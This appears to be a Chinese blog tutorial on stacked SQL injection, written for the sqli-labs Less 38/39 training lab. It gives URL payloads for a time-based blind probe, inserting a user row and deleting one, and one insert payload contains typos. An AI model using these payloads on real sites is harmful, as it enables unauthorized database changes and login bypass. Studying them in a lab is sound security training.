堆叠注入&Sqli-labs Less38\39

本文详细介绍了SQL堆叠注入的概念,它允许在单个请求中执行多个数据库语句,包括插入、更新和删除操作,这比联合查询更具危害性。堆叠注入与联合查询的主要区别在于其能执行更广泛的SQL命令。尽管使用条件有限,但一旦成功利用,可能导致严重安全问题,如非法用户创建、删除。示例展示了如何利用堆叠注入在特定场景下添加、删除数据库用户,强调了防范此类攻击的重要性。
摘要由CSDN通过智能技术生成

堆叠查询注入

堆叠注入即在语句后加分号;结束一个sql语句后继续构造第二个语句从而达到一起执行的目的。

和联合查询的区别

联合查询的语句类型的有限的,只能执行查询语句,而堆叠注入可以执行任意的语句——union后只能跟select,而堆叠后面可以使用insert,update,create,delete等常规数据库语句。
堆叠注入的使用条件比较有限,而且可能会受到API或者数据库引擎的限制,但一旦能够被使用危险很大。

PDO通常可以执行多语句但无法直接得到注入结果,即只返回第一条语句的结果,所以在分号后往往采用时间盲注或者update更新数据。

http://192.168.43.61/web/sql/duidie.php?id=1;select if(ascii(substr(database(),1,1))=116,sleep(5),1)

还可以使用堆叠注入来实现直接对数据库进行增删用户从而达到绕过验证的目的,这是联合注入无法达到的,如less 38/39

http://127.0.0.1/sqli-labs/less-38/?id=1;insetr%20into%20usrs(id,username,password)%20values(%27100%27,%27qqqq%27,%2712333%27)--+

增加用户

http://127.0.0.1/sqli/Less-39/?id=1;insert%20into%20users(id,username,password)valu
es(200,%27abcd%27,%2712334334%27)--+

删除用户

http://127.0.0.1/sqli/Less-39/?id=200;delete%20from%20users%20where%20id=100--+
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值